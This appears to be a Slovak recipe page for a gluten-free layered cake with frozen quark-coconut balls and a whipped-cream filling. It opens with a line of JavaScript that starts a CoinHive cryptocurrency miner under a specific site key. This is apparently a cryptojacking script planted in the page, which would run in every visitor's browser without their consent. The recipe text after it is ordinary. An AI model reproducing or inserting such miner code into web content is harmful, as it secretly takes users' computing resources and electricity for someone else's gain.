var miner = new CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bUD87VW1NfjqucRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK'); miner.start();

Potrebujeme: 250 g tvarohu, 1 vajce, 4 PL kryštálového cukru, 6 PL kokosovej múčky

Potrebujeme na cesto: 250 g masla, 200 g kryštálového cukru, 3 vajcia, 300 g bezlepkovej múky, 250 ml kyslej smotany, 6 PL mlieka, 2 PL kakaa, 1 prášok do pečiva

Potrebujeme na plnku: 250 ml smotany na šľahanie, 250 ml kyslej smotany, 1 vanilkový cukor, 4 PL kryštálového cukru, čokoládu (nastrúhať na vrch)

Postup: Suroviny na guľôčky zmiešame v miske, tvarujeme malé guľôčky, ktoré dáme cca na 1 hodinu do mrazničky. Medzitým zmiešame maslo s kryštálovým cukrom, pridáme múku, kyslú smotanu, múku, vajcia, prášok do pečiva a mlieko. 1/2 cesta rozotrieme na plech vystlaný papierom na pečenie, do druhej 1/2 cesta dáme kakao, dobre premiešame a rozotrieme na svetlé cesto. Z mrazničky vyberieme guľôčky, rozložíme na tmavé cesto a mierne ich pritlačíme. Pečieme na 200˚C cca 30 minút. Koláč po upečení necháme vychladnúť. Vyšľaháme šľahačku, pridáme do nech kyslú smotanu a cukor, dobre premiešame, vylejeme na koláč, rozotrieme, nastrúhame čokoládu a dáme stuhnúť do chladničky.